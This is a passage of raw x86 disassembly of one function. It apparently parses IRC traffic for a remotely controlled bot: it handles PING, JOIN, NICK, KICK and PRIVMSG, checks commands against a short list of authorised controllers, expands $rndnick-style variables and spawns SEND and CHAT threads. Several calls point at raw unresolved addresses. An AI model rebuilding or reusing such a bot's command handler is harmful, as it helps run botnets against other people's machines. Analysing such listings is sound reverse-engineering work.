ptr -0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C500 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BF70 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BFD0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F75 push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BF70 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push offset asc_42CDC4 ; " :" push eax call sub_41C2E0 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 mov esi, offset asc_42CDC0 ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41CAD4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F75 cmp [ebp+var_8C], ebx jz loc_401F75 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BFD0 lea eax, [ebp+var_C4] push offset asc_42CDBC ; "!" push eax call sub_41CAD4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409823 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a005 ; "005" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a302 ; "302" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BFD0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40AE84 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401E9A mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409823 lea eax, [ebp+var_2C4] push eax call sub_415D38 add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401F75 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E8D: ; CODE XREF: sub_401ACD+5F6j ; sub_401ACD+8B9j ... push [ebp+arg_4] call sub_409823 jmp loc_404260 ; --------------------------------------------------------------------------- loc_401E9A: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401FDD mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC3: ; CODE XREF: sub_401ACD+448j lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F10 lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F10 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C890 push [ebp+arg_1C] push edi call sub_41C8A0 add esp, 10h mov edi, 80h loc_401F10: ; CODE XREF: sub_401ACD+407j ; sub_401ACD+41Ej add esi, edi dec [ebp+arg_0] jnz short loc_401EC3 lea eax, [ebp+var_C4] test eax, eax jz short loc_401F75 cmp [ebp+arg_24], ebx jz short loc_401F75 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F4D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BFD0 jmp loc_4036A2 ; --------------------------------------------------------------------------- loc_401F4D: ; CODE XREF: sub_401ACD+46Cj mov edi, [ebp+arg_18] xor esi, esi loc_401F52: ; CODE XREF: sub_401ACD+4A6j cmp [edi], bl jz short loc_401F69 lea eax, [ebp+var_E04] push eax push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401F7D loc_401F69: ; CODE XREF: sub_401ACD+487j inc esi add edi, 80h cmp esi, 3 jl short loc_401F52 loc_401F75: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej pop eax loc_401F78: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A40j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F7D: ; CODE XREF: sub_401ACD+49Aj lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F75 push eax call sub_41B9C0 push [ebp+arg_24] mov edi, eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F75 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C266 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409869 add esp, 24h jmp short loc_401F75 ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401ACD+3DCj push esi push offset aPart ; "PART" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401FFF push esi push offset aQuit ; "QUIT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402026 loc_401FFF: ; CODE XREF: sub_401ACD+51Fj mov edi, [ebp+arg_18] xor esi, esi loc_402004: ; CODE XREF: sub_401ACD+557j cmp [edi], bl jz short loc_40201A push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_402067 loc_40201A: ; CODE XREF: sub_401ACD+539j inc esi add edi, 80h cmp esi, 3 jl short loc_402004 loc_402026: ; CODE XREF: sub_401ACD+530j push [ebp+var_8C] push offset a353 ; "353" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4020C8 push [ebp+var_80] push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40205A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40205A: ; CODE XREF: sub_401ACD+582j push [ebp+var_80] push offset unk_42CCFC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_401ACD+54Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCDC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push [ebp+var_8C] push offset aPart ; "PART" call sub_41CA50 add esp, 18h test eax, eax jnz loc_401F75 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4020C8: ; CODE XREF: sub_401ACD+56Dj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41CA50 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 cmp dword_429088, ebx jz loc_409644 loc_40211C: ; CODE XREF: sub_401ACD+615j ; sub_401ACD+627j push [ebp+var_8C] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402160: ; CODE XREF: sub_401ACD+891j ; sub_401ACD+8CDj ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCC0 mov [ebp+arg_8], eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40253B push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402402 cmp [ebp+var_A4], ebx jz loc_4023DB push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_1B98] push [ebp+esi+var_84] push edi push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC84 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416563 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40228C: ; CODE XREF: sub_401ACD+7D3j cmp [ebp+var_19F0], ebx jnz loc_4082DE push 32h call near ptr 2680EBDh nop jmp short loc_40228C ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_401ACD+65Fj ; sub_401ACD+675j push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4022BB mov [ebp+var_4], 1 loc_4022BB: ; CODE XREF: sub_401ACD+7E5j cmp [ebp+var_88], ebx jz loc_401F75 push offset dword_42CC80 push [ebp+var_88] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4022E2 cmp [ebp+var_4], ebx jz short loc_4022EE loc_4022E2: ; CODE XREF: sub_401ACD+80Ej lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022EE: ; CODE XREF: sub_401ACD+813j cmp [ebp+var_84], ebx jz loc_401F75 inc [ebp+var_84] jz short loc_40233A cmp [ebp+arg_10], ebx jz short loc_40233A lea eax, [ebp+var_338] push eax call sub_41B9C0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C850 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402340 ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_401ACD+833j ; sub_401ACD+838j mov esi, [ebp+var_AC] loc_402340: ; CODE XREF: sub_401ACD+86Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F75 push edi push offset dword_42CC74 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40238B mov eax, dword_4CB888 mov eax, off_429160[eax*4] cmp [eax], bl jz short loc_40238B push eax push ecx push offset dword_42CC58 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_401ACD+8A0j ; sub_401ACD+8B0j push edi push offset dword_42CC50 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402160 push eax push ecx push offset dword_42CC38 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4023CA: ; CODE XREF: sub_401ACD+7B9j ; sub_401ACD+76B7j call near ptr 26908B8h nop push eax push offset unk_42CBFC jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_401ACD+6DDj lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CBB8 loc_4023EE: ; CODE XREF: sub_401ACD+7C19j ; sub_401ACD+7C80j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 10h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_401ACD+6D1j push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402551 cmp [ebp+var_A4], ebx jz loc_40252A push 1Bh call sub_40B602 test eax, eax pop ecx jnz loc_402519 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB90 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3BA add esp, 18h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset dword_416000 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_402508 loc_4024F2: ; CODE XREF: sub_401ACD+A39j cmp [ebp+var_2904], ebx jnz loc_4082DE push 32h nop call near ptr 2680EBDh jmp short loc_4024F2 ; --------------------------------------------------------------------------- loc_402508: ; CODE XREF: sub_401ACD+A23j nop call near ptr 26908B8h push eax push offset unk_42CB58 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_401ACD+966j lea eax, [ebp+var_C4] push eax push offset unk_42CB28 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_401ACD+956j lea eax, [ebp+var_C4] push eax push offset unk_42CAF4 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401ACD+6B6j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401F75 loc_402551: ; CODE XREF: sub_401ACD+94Aj mov edi, [edi] push edi push offset aC ; "c" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C push edi push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C cmp [ebp+var_A4], ebx jnz short loc_4025A2 push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 loc_4025A2: ; CODE XREF: sub_401ACD+AB9j cmp [ebp+arg_28], ebx jnz loc_409644 xor edi, edi cmp dword_4294CC, ebx jle loc_402757 mov [ebp+arg_20], offset dword_43DB90 loc_4025C0: ; CODE XREF: sub_401ACD+B12j push [ebp+arg_8] push [ebp+arg_20] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4025E6 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294CC jl short loc_4025C0 jmp loc_402757 ; --------------------------------------------------------------------------- loc_4025E6: ; CODE XREF: sub_401ACD+B02j push offset asc_42CDC4 ; " :" push [ebp+arg_0] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43DBA8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BFD0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40263B: ; CODE XREF: sub_401ACD+C1Fj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_4026A7 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026A7 lea eax, dword_43DB90[edi] push eax call sub_41B9C0 add [ebp+var_C], eax pop ecx jz short loc_4026E2 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4026E2 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_401ACD+B96j ; sub_401ACD+B9Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026E2 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BFD0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 18h loc_4026E2: ; CODE XREF: sub_401ACD+BAFj ; sub_401ACD+BC3j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40263B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_402742 mov eax, [edi] cmp eax, ebx jz short loc_402742 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch loc_402742: ; CODE XREF: sub_401ACD+C5Aj ; sub_401ACD+C60j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026FF mov [ebp+var_2C8], 1 loc_402757: ; CODE XREF: sub_401ACD+AE6j ; sub_401ACD+B14j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_402770 cmp [ebp+var_2C8], ebx jz loc_402961 loc_402770: ; CODE XREF: sub_401ACD+C95j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_41843B lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_41843B push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_41843B push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_41843B add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_41843B mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C2E0 add esp, 14h loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj test eax, eax jz loc_4028DF push edi push [ebp+arg_0] call sub_41C2E0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BFD0 lea eax, [ebp+var_A0] push offset asc_42CAAC ; ")" push eax call sub_41CAD4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40282E cmp [ebp+var_A0], 39h jle short loc_402844 loc_40282E: ; CODE XREF: sub_401ACD+D56j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BFD0 add esp, 0Ch loc_402844: ; CODE XREF: sub_401ACD+D5Fj lea eax, [ebp+var_A0] push eax call sub_41C159 test eax, eax pop ecx jle short loc_40286A lea eax, [ebp+var_A0] push eax call sub_41C159 pop ecx mov [ebp+var_94], al jmp short loc_40287E ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_401ACD+D86j call sub_41C2C2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40287E: ; CODE XREF: sub_401ACD+D9Bj lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B9C0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BF70 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BFD0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B push edi push [ebp+arg_0] call sub_41C2E0 add esp, 30h jmp loc_4027E2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_401ACD+D17j mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 lea eax, [ebp+var_4EF8] push offset asc_42CDC0 ; " " push eax call sub_41CAD4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40292F: ; CODE XREF: sub_401ACD+E77j push offset asc_42CDC0 ; " " push 